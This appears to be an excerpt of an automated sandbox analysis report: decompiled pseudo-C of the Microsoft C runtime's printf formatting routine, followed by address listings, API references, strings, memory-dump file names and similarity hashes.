																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a8;
																					_push(__ebp - 0x2a8);
																					__eax =  *0x440374; // 0x7e8e98dc
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AE20(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0x8a8e9826
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AE20(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0x44037c; // 0xc28e9826
																							E00424690(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DDF0( *(__ebp - 4));
																					goto L190;
																				}
																				L127:
																				__ecx =  *((char*)(__ebp - 0x251));
																				if(__ecx != 0x67) {
																					goto L129;
																				}
																				L128:
																				 *(__ebp - 0x30) = 1;
																				goto L131;
																			}
																			L125:
																			 *(__ebp - 0x30) = 6;
																			goto L131;
																		case 6:
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E004284A0(__ebp + 0x14);
																				 *(__ebp - 0x284) = __ax;
																				__cl =  *(__ebp - 0x284);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x280) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E004284E0(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x280) = E00434360(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				if( *(__ebp - 0x280) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			goto L190;
																		case 7:
																			goto L0;
																		case 8:
																			L109:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x298) = E004284A0(__ebp + 0x14);
																			if(E00434040() != 0) {
																				L119:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x298);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x298);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L190;
																			}
																			L110:
																			__edx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x32c) = 0;
																			} else {
																				 *(__ebp - 0x32c) = 1;
																			}
																			__eax =  *(__ebp - 0x32c);
																			 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																			if( *(__ebp - 0x29c) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E350();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x29c) != 0) {
																				L118:
																				goto L190;
																			} else {
																				L117:
																				 *((intOrPtr*)(L00422E40(__ecx))) = 0x16;
																				__eax = E00422BD0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2f8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041ADF0(__ecx);
																				__eax =  *(__ebp - 0x2f8);
																				goto L229;
																			}
																		case 9:
																			L151:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L153;
																		case 0xa:
																			L145:
																			 *(__ebp - 0x30) = 8;
																			goto L146;
																		case 0xb:
																			L90:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x328) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x328) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x328);
																			 *(__ebp - 0x290) =  *(__ebp - 0x328);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E004284A0(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L101:
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x440f80; // 0x404448
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x28c) =  *(__ebp - 4);
																				while(1) {
																					L104:
																					__ecx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					if(__ecx == 0) {
																						break;
																					}
																					L105:
																					__eax =  *(__ebp - 0x28c);
																					__ecx =  *( *(__ebp - 0x28c));
																					if(__ecx == 0) {
																						break;
																					}
																					L106:
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				}
																				L107:
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				 *(__ebp - 0x24) =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				goto L108;
																			} else {
																				L94:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f84; // 0x404438
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x294) =  *(__ebp - 4);
																				while(1) {
																					L97:
																					__edx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					if( *(__ebp - 0x290) == 0) {
																						break;
																					}
																					L98:
																					__ecx =  *(__ebp - 0x294);
																					__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L99:
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				}
																				L100:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L108:
																				goto L190;
																			}
																		case 0xc:
																			L144:
																			 *(__ebp - 8) = 0xa;
																			goto L153;
																		case 0xd:
																			L147:
																			 *((intOrPtr*)(__ebp - 0x260)) = 0x27;
																			L148:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *((char*)(__ebp - 0x14)) = 0x30;
																				 *((intOrPtr*)(__ebp - 0x260)) =  *((intOrPtr*)(__ebp - 0x260)) + 0x51;
																				 *((char*)(__ebp - 0x13)) = __al;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L153;
																		case 0xe:
																			goto L190;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x004350b9
0x004350b9
0x004350b9
0x004350b9
0x004350b9
0x004350b9
0x004350b9
0x004350bf
0x004350c2
0x00000000
0x0043513a
0x00000000
0x0043513a
0x00000000
0x0043513a
0x0043513a
0x00435142
0x00435164
0x0043516a
0x0043518f
0x004351d6
0x004351d9
0x004351fa
0x004351ff
0x00435204
0x0043520a
0x004351db
0x004351df
0x004351e4
0x004351e7
0x004351e8
0x004351ee
0x004351ee
0x00435191
0x00435194
0x00435197
0x004351b9
0x004351be
0x004351c4
0x004351c5
0x004351cb
0x00435199
0x0043519d
0x004351a2
0x004351a6
0x004351a7
0x004351ad
0x004351ad
0x004351d1
0x0043516c
0x00435170
0x00435175
0x00435178
0x0043517e
0x0043517e
0x00435144
0x00435148
0x0043514d
0x00435150
0x00435156
0x00435156
0x00435216
0x00435258
0x0043525e
0x0043526a
0x00000000
0x00435218
0x00435218
0x00435218
0x0043521f
0x00000000
0x0043522c
0x0043522c
0x0043523a
0x0043523f
0x00435245
0x00435253
0x00435270
0x00435278
0x0043529a
0x0043529a
0x004352a4
0x004352b5
0x004352bf
0x004352c1
0x004352c1
0x004352a6
0x004352a6
0x004352a6
0x004352d4
0x004352d6
0x004352d6
0x004352e0
0x004352e3
0x004352e3
0x004352e9
0x004352ec
0x004352f1
0x00000000
0x00000000
0x00435301
0x00435304
0x0043530e
0x0043531d
0x00435326
0x0043533c
0x00435342
0x0043534f
0x0043535d
0x0043535d
0x0043536c
0x00435374
0x00435374
0x0043537c
0x00435382
0x0043538b
0x00435397
0x004353b0
0x004353b6
0x004353bf
0x004353bf
0x00000000
0x004353c2
0x00000000
0x004353c2
0x00000000
0x004353c2
0x00000000
0x004353c2
0x00000000
0x004353c2
0x00000000
0x004353c2
0x00000000
0x004353c2
0x004353c2
0x004353c2
0x004353c6
0x004355ad
0x004355b1
0x004355b9
0x004355be
0x004355c1
0x004355c1
0x004355c8
0x004355c8
0x0043469f
0x004346a5
0x004346b2
0x004346b7
0x00000000
0x004346ca
0x004346d4
0x004346fb
0x004346e2
0x004346f3
0x004346f3
0x004346d4
0x00434705
0x0043470b
0x00434717
0x0043471a
0x00434728
0x0043472b
0x00434738
0x004347dd
0x004347e3
0x004347f0
0x00000000
0x00000000
0x004347f6
0x004347fc
0x00000000
0x00434803
0x00434803
0x0043481b
0x00434820
0x00434825
0x004348df
0x004348f2
0x004348f7
0x00000000
0x0043482b
0x0043483e
0x00434843
0x00434849
0x0043484b
0x00434854
0x00434857
0x00434863
0x00434867
0x0043486d
0x0043486f
0x00434874
0x00434876
0x0043487b
0x00434880
0x00434882
0x00434887
0x0043488d
0x0043488f
0x0043488f
0x0043488d
0x00434890
0x00434897
0x00000000
0x00434899
0x0043489e
0x004348ba
0x004348c2
0x004348cf
0x004348d4
0x00000000
0x004348d4
0x00434897
0x00000000
0x004348ff
0x004348ff
0x00434906
0x00434909
0x0043490c
0x0043490f
0x00434912
0x00434915
0x00434918
0x0043491f
0x00434926
0x00000000
0x00000000
0x00434932
0x00434932
0x00434939
0x00434945
0x00434948
0x00434955
0x00000000
0x00000000
0x00434957
0x00434957
0x0043495d
0x0043495d
0x00434964
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004349a7
0x004349a7
0x004349b1
0x004349db
0x004349de
0x004349e1
0x004349e8
0x004349e8
0x004349ec
0x004349b3
0x004349b3
0x004349bf
0x004349c6
0x004349c8
0x004349cb
0x004349ce
0x004349d4
0x004349d6
0x004349d6
0x004349d9
0x00000000
0x00000000
0x004349f4
0x004349f4
0x00000000
0x00000000
0x00434a00
0x00434a00
0x00434a0a
0x00434a2d
0x00434a37
0x00434a37
0x00434a3b
0x00434a0c
0x00434a0c
0x00434a18
0x00434a1f
0x00434a21
0x00434a21
0x00434a28
0x00000000
0x00000000
0x00434a43
0x00434a43
0x00434a4a
0x00434a56
0x00434a59
0x00434a66
0x00434b79
0x00000000
0x00434b79
0x00434a6c
0x00434a6c
0x00434a72
0x00434a72
0x00434a79
0x00000000
0x00434aaf
0x00434aaf
0x00434ab2
0x00434ab8
0x00434ae0
0x00434ae0
0x00434ae3
0x00434ae9
0x00434b0e
0x00434b0e
0x00434b11
0x00434b17
0x00434b50
0x00434b61
0x00000000
0x00434b61
0x00434b19
0x00434b19
0x00434b1c
0x00434b22
0x00000000
0x00000000
0x00434b24
0x00434b24
0x00434b27
0x00434b2d
0x00000000
0x00000000
0x00434b2f
0x00434b2f
0x00434b32
0x00434b38
0x00000000
0x00000000
0x00434b3a
0x00434b3a
0x00434b3d
0x00434b43
0x00000000
0x00000000
0x00434b45
0x00434b45
0x00434b48
0x00434b4e
0x00434b52
0x00434b52
0x00000000
0x00434b52
0x00000000
0x00434b4e
0x00434aeb
0x00434aeb
0x00434aee
0x00434af5
0x00000000
0x00000000
0x00434af7
0x00434afa
0x00434afd
0x00434b00
0x00434b03
0x00434b09
0x00000000
0x00434b09
0x00434aba
0x00434aba
0x00434abd
0x00434ac4
0x00000000
0x00000000
0x00434ac6
0x00434ac9
0x00434acc
0x00434acf
0x00434ad2
0x00434ad8
0x00000000
0x00000000
0x00434b63
0x00434b66
0x00434b69
0x00000000
0x00000000
0x00434a80
0x00434a80
0x00434a83
0x00434a89
0x00434aa1
0x00434aa4
0x00434aa7
0x00434a8b
0x00434a8e
0x00434a91
0x00434a97
0x00434a9c
0x00434a9c
0x00000000
0x00000000
0x00434b6e
0x00434b71
0x00434b76
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434981
0x00434984
0x00434987
0x00000000
0x00000000
0x0043498c
0x0043498f
0x00434994
0x00000000
0x00000000
0x00434976
0x00434976
0x00434979
0x0043497c
0x00000000
0x00000000
0x0043496b
0x0043496e
0x00434971
0x00000000
0x00000000
0x00434999
0x00434999
0x0043499c
0x0043499f
0x00000000
0x00000000
0x004349a2
0x00000000
0x00000000
0x0043473e
0x00434740
0x0043474e
0x00434742
0x00434742
0x00434742
0x00434758
0x0043475e
0x0043476b
0x0043476d
0x00434772
0x00434774
0x00434779
0x0043477e
0x00434780
0x00434785
0x0043478b
0x0043478d
0x0043478d
0x0043478b
0x0043478e
0x00434795
0x00000000
0x00434797
0x0043479c
0x004347b8
0x004347c0
0x004347cd
0x004347d2
0x00435691
0x0043569e
0x0043569e
0x00434795
0x00434738
0x004355cd
0x004355d4
0x004355eb
0x004355df
0x004355df
0x004355df
0x004355f5
0x004355fb
0x00435608
0x0043560a
0x0043560f
0x00435611
0x00435616
0x0043561b
0x0043561d
0x00435622
0x00435628
0x0043562a
0x0043562a
0x00435628
0x00435632
0x0043567d
0x00435686
0x0043568b
0x00435634
0x00435639
0x00435655
0x0043565d
0x0043566a
0x0043566f
0x0043566f
0x00000000
0x00435632
0x004353cc
0x004353d2
0x004353dc
0x004353f1
0x00435406
0x00435408
0x0043540c
0x0043540c
0x004353f3
0x004353f3
0x004353f7
0x004353f7
0x004353de
0x004353de
0x004353e2
0x004353e2
0x004353dc
0x0043541c
0x00435428
0x0043543e
0x00435443
0x00435443
0x00435459
0x0043545e
0x00435467
0x00435485
0x0043548a
0x0043548a
0x00435491
0x00435565
0x00435578
0x0043557d
0x00000000
0x004354a1
0x004354a1
0x004354a1
0x004354ae
0x004354b7
0x004354bd
0x004354bd
0x004354cc
0x004354d4
0x00000000
0x00000000
0x004354da
0x004354e3
0x00435502
0x00435507
0x0043550a
0x00435519
0x00435526
0x00435531
0x00435531
0x00000000
0x0043553d
0x0043553d
0x00435556
0x0043555b
0x00000000
0x0043555b
0x00435526
0x00435563
0x00435580
0x00435587
0x004355a5
0x004355aa
0x004355aa
0x00000000
0x00435587
0x00434b7e
0x00434b7e
0x00434b85
0x00434b8b
0x00434b91
0x00434b94
0x00434b9a
0x00434bad
0x00434bad
0x00434bb4
0x00000000
0x00434f0e
0x00434f0e
0x00434f15
0x00434f1c
0x00434f1f
0x00000000
0x00000000
0x00434bbb
0x00434bbe
0x00434bc4
0x00434bc9
0x00434bce
0x00434bce
0x00000000
0x00000000
0x00434cfb
0x00434cfe
0x00434d03
0x00434d08
0x00434d0e
0x00434d0e
0x00000000
0x00000000
0x004350db
0x004350db
0x00000000
0x00000000
0x00434c65
0x00434c65
0x00434c71
0x00434c7e
0x00434c8c
0x00434c8c
0x00434c92
0x00434c95
0x00434ca1
0x00434cf6
0x00000000
0x00434cf6
0x00434c80
0x00434c80
0x00434c8a
0x00434ca6
0x00434ca9
0x00434caf
0x00434cd7
0x00434cde
0x00434ce4
0x00434ce7
0x00434cea
0x00434cf0
0x00434cf3
0x00434cb1
0x00434cb1
0x00434cb7
0x00434cba
0x00434cbd
0x00434cc3
0x00434cc6
0x00434cc9
0x00434ccb
0x00434cce
0x00434cce
0x00000000
0x00434caf
0x00000000
0x00000000
0x00434f25
0x00434f28
0x00434f2b
0x00434f2e
0x00434f34
0x00434f37
0x00434f42
0x00434f4d
0x00434f51
0x00434f68
0x00434f6f
0x00434f71
0x00434f71
0x00434f78
0x00434f7f
0x00434f90
0x00434f9f
0x00434fa6
0x00434fbc
0x00434fa8
0x00434fa8
0x00434fab
0x00434fb1
0x00434fb7
0x00434fb7
0x00434fa6
0x00434fc6
0x00434fc9
0x00434fcc
0x00434fcf
0x00434fd2
0x00434fd5
0x00434fdb
0x00434fe1
0x00434fe9
0x00434fea
0x00434fed
0x00434fee
0x00434ff1
0x00434ff2
0x00434ff9
0x00434ffa
0x00434ffd
0x00434ffe
0x00435001
0x00435002
0x00435008
0x00435009
0x00435017
0x00435019
0x0043501f
0x00435025
0x0043502d
0x00435035
0x00435036
0x00435039
0x0043503a
0x00435048
0x0043504a
0x0043504a
0x0043504d
0x00435057
0x0043505c
0x00435062
0x00435064
0x0043506c
0x0043506d
0x00435070
0x00435071
0x00435080
0x00435082
0x00435082
0x00435062
0x00435085
0x00435088
0x0043508e
0x00435093
0x00435099
0x0043509f
0x004350a2
0x004350a2
0x004350a5
0x004350b1
0x00000000
0x004350b1
0x00434f53
0x00434f53
0x00434f5d
0x00000000
0x00000000
0x00434f5f
0x00434f5f
0x00000000
0x00434f5f
0x00434f44
0x00434f44
0x00000000
0x00000000
0x00434bd1
0x00434bd4
0x00434bda
0x00434c35
0x00434c3d
0x00434c44
0x00434c4a
0x00434c50
0x00434bdc
0x00434bdc
0x00434be6
0x00434bea
0x00434bf2
0x00434bf9
0x00434c06
0x00434c0d
0x00434c19
0x00434c26
0x00434c28
0x00434c28
0x00434c2f
0x00434c57
0x00434c5d
0x00000000
0x00000000
0x00000000
0x00000000
0x00434e17
0x00434e17
0x00434e23
0x00434e30
0x00434eda
0x00434edd
0x00434ee0
0x00434ef4
0x00434efa
0x00434f00
0x00434ee2
0x00434ee2
0x00434eef
0x00434eef
0x00434f02
0x00000000
0x00434f02
0x00434e36
0x00434e36
0x00434e38
0x00434e46
0x00434e3a
0x00434e3a
0x00434e3a
0x00434e50
0x00434e56
0x00434e63
0x00434e65
0x00434e6a
0x00434e6c
0x00434e71
0x00434e76
0x00434e78
0x00434e7d
0x00434e83
0x00434e85
0x00434e85
0x00434e83
0x00434e8d
0x00434ed5
0x00000000
0x00434e8f
0x00434e8f
0x00434e94
0x00434eb0
0x00434eb8
0x00434ec2
0x00434ec5
0x00434eca
0x00000000
0x00434eca
0x00000000
0x0043511c
0x0043511c
0x00435126
0x0043512c
0x00435131
0x00435137
0x00435137
0x00000000
0x00000000
0x004350d4
0x004350d4
0x00000000
0x00000000
0x00434d11
0x00434d15
0x00434d23
0x00434d26
0x00434d17
0x00434d17
0x00434d17
0x00434d2c
0x00434d32
0x00434d38
0x00434d44
0x00434d4a
0x00434d50
0x00434db7
0x00434dbb
0x00434dbd
0x00434dc3
0x00434dc3
0x00434dc6
0x00434dc9
0x00434dcf
0x00434dcf
0x00434dcf
0x00434ddb
0x00434dde
0x00434de6
0x00000000
0x00000000
0x00434de8
0x00434de8
0x00434dee
0x00434df3
0x00000000
0x00000000
0x00434df5
0x00434dfb
0x00434dfe
0x00434dfe
0x00434e06
0x00434e0c
0x00434e0f
0x00000000
0x00434d52
0x00434d52
0x00434d56
0x00434d58
0x00434d5d
0x00434d5d
0x00434d60
0x00434d67
0x00434d6a
0x00434d70
0x00434d70
0x00434d70
0x00434d7c
0x00434d7f
0x00434d87
0x00000000
0x00000000
0x00434d89
0x00434d89
0x00434d8f
0x00434d94
0x00000000
0x00000000
0x00434d96
0x00434d9c
0x00434d9f
0x00434d9f
0x00434da7
0x00434dad
0x00434db0
0x00434db2
0x00434e12
0x00000000
0x00434e12
0x00000000
0x004350cb
0x004350cb
0x00000000
0x00000000
0x004350e7
0x004350e7
0x004350f1
0x004350f1
0x004350fb
0x00435101
0x00435103
0x0043510d
0x00435110
0x00435113
0x00435113
0x00000000
0x00000000
0x00000000
0x00000000
0x00434bb4
0x004353c2
0x004353c2
0x004353c2
0x004353c2
0x004353c2
0x004353c2
0x004353c2
0x0043521f
0x00435216
0x0043513a
0x0043513a
0x0043513a

APIs

_get_int64_arg.LIBCMTD ref: 00435148
_get_int64_arg.LIBCMTD ref: 00435170
__aullrem.LIBCMT ref: 00435315
__aulldiv.LIBCMT ref: 00435337
_write_multi_char.LIBCMTD ref: 0043543E
_write_string.LIBCMTD ref: 00435459
_write_multi_char.LIBCMTD ref: 00435485
_wctomb_s.LIBCMTD ref: 00435502

Strings

("Incorrect format specifier", 0), xrefs: 0043476D, 004347B3
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00434779, 004347A9
_output_s_l, xrefs: 004347AE
-, xrefs: 004353DE
9, xrefs: 00435348

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$9$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3451365851-3266125857
Opcode ID: 3355f3763932df07ad1d0fd2ae35eb3be2290e0e985baa9290650d978a1f8e6e
Instruction ID: 66916e18b6f715848164f9442bfad151c006e8ce379e56299d716062a5b66a6b
Opcode Fuzzy Hash: 3355f3763932df07ad1d0fd2ae35eb3be2290e0e985baa9290650d978a1f8e6e
Instruction Fuzzy Hash: 9FF14AB1D016299FDB24DF54CC89BEEB7B1BB88304F1491DAD409A7281D778AE80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043C35B, Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 365
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0043C35B(void* __ebx, signed int __edx, void* __edi, void* __esi) {
				signed int _t485;
				signed int _t504;
				void* _t509;
				signed int _t511;
				void* _t519;
				void* _t537;
				intOrPtr _t541;
				signed int _t558;
				signed short _t559;
				signed int _t562;
				signed int _t565;
				signed int _t566;
				void* _t567;
				signed int _t621;
				signed int _t623;
				signed int _t625;
				signed int _t632;
				signed int _t644;
				signed int _t671;
				void* _t672;
				void* _t673;
				signed int _t674;
				void* _t676;
				void* _t677;
				signed int _t683;

				L0:
				while(1) {
					L0:
					_t673 = __esi;
					_t672 = __edi;
					_t621 = __edx;
					_t567 = __ebx;
					 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000040;
					 *(_t674 - 8) = 0xa;
					L150:
					while(1) {
						L150:
						while(1) {
							L150:
							while(1) {
								L150:
								if(( *(_t674 - 0x10) & 0x00008000) == 0) {
									_t623 =  *(_t674 - 0x10) & 0x00001000;
									if(_t623 == 0) {
										if(( *(_t674 - 0x10) & 0x00000020) == 0) {
											_t625 =  *(_t674 - 0x10) & 0x00000040;
											if(_t625 == 0) {
												_t485 = E004284A0(_t674 + 0x14);
												_t677 = _t676 + 4;
												 *(_t674 - 0x4a0) = _t485;
												 *(_t674 - 0x49c) = 0;
											} else {
												_t558 = E004284A0(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t558;
												 *(_t674 - 0x49c) = _t625;
											}
										} else {
											_t671 =  *(_t674 - 0x10) & 0x00000040;
											if(_t671 == 0) {
												_t559 = E004284A0(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t559 & 0x0000ffff;
												 *(_t674 - 0x49c) = _t671;
											} else {
												_t562 = E004284A0(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t562;
												 *(_t674 - 0x49c) = _t671;
											}
										}
									} else {
										_t565 = E004284C0(_t674 + 0x14);
										_t677 = _t676 + 4;
										 *(_t674 - 0x4a0) = _t565;
										 *(_t674 - 0x49c) = _t623;
									}
								} else {
									_t566 = E004284C0(_t674 + 0x14);
									_t677 = _t676 + 4;
									 *(_t674 - 0x4a0) = _t566;
									 *(_t674 - 0x49c) = _t621;
								}
								if(( *(_t674 - 0x10) & 0x00000040) == 0) {
									L167:
									 *(_t674 - 0x4a8) =  *(_t674 - 0x4a0);
									 *(_t674 - 0x4a4) =  *(_t674 - 0x49c);
									goto L168;
								} else {
									L163:
									_t683 =  *(_t674 - 0x49c);
									if(_t683 > 0 || _t683 >= 0 &&  *(_t674 - 0x4a0) >= 0) {
										goto L167;
									} else {
										L166:
										asm("adc edx, 0x0");
										 *(_t674 - 0x4a8) =  ~( *(_t674 - 0x4a0));
										 *(_t674 - 0x4a4) =  ~( *(_t674 - 0x49c));
										 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000100;
										L168:
										if(( *(_t674 - 0x10) & 0x00008000) == 0 && ( *(_t674 - 0x10) & 0x00001000) == 0) {
											 *(_t674 - 0x4a4) =  *(_t674 - 0x4a4) & 0x00000000;
										}
										if( *(_t674 - 0x30) >= 0) {
											 *(_t674 - 0x10) =  *(_t674 - 0x10) & 0xfffffff7;
											if( *(_t674 - 0x30) > 0x200) {
												 *(_t674 - 0x30) = 0x200;
											}
										} else {
											 *(_t674 - 0x30) = 1;
										}
										if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
											 *(_t674 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t674 - 4)) = _t674 - 0x249;
										while(1) {
											L178:
											_t631 =  *(_t674 - 0x30) - 1;
											 *(_t674 - 0x30) =  *(_t674 - 0x30) - 1;
											if( *(_t674 - 0x30) <= 0 && ( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
												break;
											}
											L180:
											asm("cdq");
											_t632 =  *(_t674 - 0x4a8);
											 *((intOrPtr*)(_t674 - 0x494)) = E004308C0(_t632,  *(_t674 - 0x4a4),  *(_t674 - 8), _t631) + 0x30;
											asm("cdq");
											 *(_t674 - 0x4a8) = E00430940( *(_t674 - 0x4a8),  *(_t674 - 0x4a4),  *(_t674 - 8), _t632);
											 *(_t674 - 0x4a4) = _t632;
											if( *((intOrPtr*)(_t674 - 0x494)) > 0x39) {
												 *((intOrPtr*)(_t674 - 0x494)) =  *((intOrPtr*)(_t674 - 0x494)) +  *((intOrPtr*)(_t674 - 0x460));
											}
											 *((char*)( *((intOrPtr*)(_t674 - 4)))) =  *((intOrPtr*)(_t674 - 0x494));
											 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
										}
										L183:
										 *((intOrPtr*)(_t674 - 0x24)) = _t674 - 0x249 -  *((intOrPtr*)(_t674 - 4));
										 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) + 1;
										if(( *(_t674 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t674 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t674 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t674 - 4)))) = 0x30;
											 *((intOrPtr*)(_t674 - 0x24)) =  *((intOrPtr*)(_t674 - 0x24)) + 1;
										}
										L187:
										while(1) {
											L187:
											while(1) {
												L187:
												while(1) {
													L187:
													while(1) {
														L187:
														while(1) {
															L187:
															while(1) {
																L187:
																while(1) {
																	do {
																		L187:
																		if( *((intOrPtr*)(_t674 - 0x28)) != 0) {
																			L212:
																			if( *(_t674 - 0x20) != 0) {
																				L0041C510( *(_t674 - 0x20), 2);
																				_t677 = _t677 + 8;
